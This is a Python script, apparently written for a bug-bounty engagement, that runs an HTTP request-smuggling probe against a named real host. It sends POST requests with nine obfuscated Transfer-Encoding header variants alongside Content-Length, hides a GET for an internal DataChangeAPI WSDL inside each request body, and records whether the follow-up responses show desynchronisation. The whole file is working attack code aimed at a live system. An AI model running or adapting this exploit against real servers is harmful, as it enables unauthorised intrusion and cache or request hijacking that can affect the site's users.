#!/usr/bin/env python3
import socket,ssl,time,re,json
HOST='gwde.baloise.de';PORT=443
variants={
 'tab':'Transfer-Encoding:\tchunked',
 'trail':'Transfer-Encoding: chunked ',
 'comma_ci':'Transfer-Encoding: chunked, identity',
 'comma_ic':'Transfer-Encoding: identity, chunked',
 'dup_ci':'Transfer-Encoding: chunked\r\nTransfer-Encoding: identity',
 'dup_ic':'Transfer-Encoding: identity\r\nTransfer-Encoding: chunked',
 'space_colon':'Transfer-Encoding : chunked',
 'obsfold':'Transfer-Encoding:\r\n chunked',
 'xchunked':'Transfer-Encoding: xchunked',
}
results=[]
for name,te in variants.items():
 marker=f'te{name}{int(time.time()*1000)}'
 inner=(f'GET /pc/ws/gw/wsi/pl/DataChangeAPI?wsdl&bb={marker} HTTP/1.1\r\nHost: {HOST}\r\nX-Bug-Bounty: dwbzn\r\nConnection: keep-alive\r\n\r\n').encode()
 body=b'0\r\n\r\n'+inner
 outer=(
  'POST /error_path/maintenance.html HTTP/1.1\r\n'
  f'Host: {HOST}\r\n'
  'X-Bug-Bounty: dwbzn\r\n'
  'Content-Type: application/octet-stream\r\n'
  f'Content-Length: {len(body)}\r\n'
  f'{te}\r\n'
  'Connection: keep-alive\r\n\r\n'
 ).encode()+body
 follow=(f'GET /error_path/maintenance.html?follow={marker} HTTP/1.1\r\nHost: {HOST}\r\nX-Bug-Bounty: dwbzn\r\nConnection: close\r\n\r\n').encode()
 ctx=ssl.create_default_context();ctx.set_alpn_protocols(['http/1.1'])
 try:
  raw=socket.create_connection((HOST,PORT),timeout=4);s=ctx.wrap_socket(raw,server_hostname=HOST);s.settimeout(2)
  s.sendall(outer);time.sleep(.05)
  try:s.sendall(follow)
  except Exception:pass
  data=b''
  while len(data)<250000:
   try:
    b=s.recv(65535)
    if not b:break
    data+=b
   except socket.timeout:break
  try:s.close()
  except:pass
  statuses=[x.decode('latin1') for x in re.findall(br'HTTP/1\.[01] [0-9]{3}[^\r\n]*',data)]
  conns=[x.decode('latin1') for x in re.findall(br'(?im)^Connection:.*$',data)]
  locs=[x.decode('latin1') for x in re.findall(br'(?im)^Location:.*$',data)]
  r={'name':name,'marker':marker,'bytes':len(data),'statuses':statuses,'connections':conns,'locations':locs[:5],'wsdl':b'<definitions' in data.lower() or b'wsdl:definitions' in data.lower(),'datachange':b'DataChangeAPI' in data}
  open(f'work/scratch/gwde-te-{name}.bin','wb').write(data)
 except Exception as e:r={'name':name,'error':repr(e)}
 results.append(r);print(json.dumps(r,ensure_ascii=False),flush=True)
open('work/scratch/gwde-te-obfuscation-results.json','w').write(json.dumps(results,indent=2))
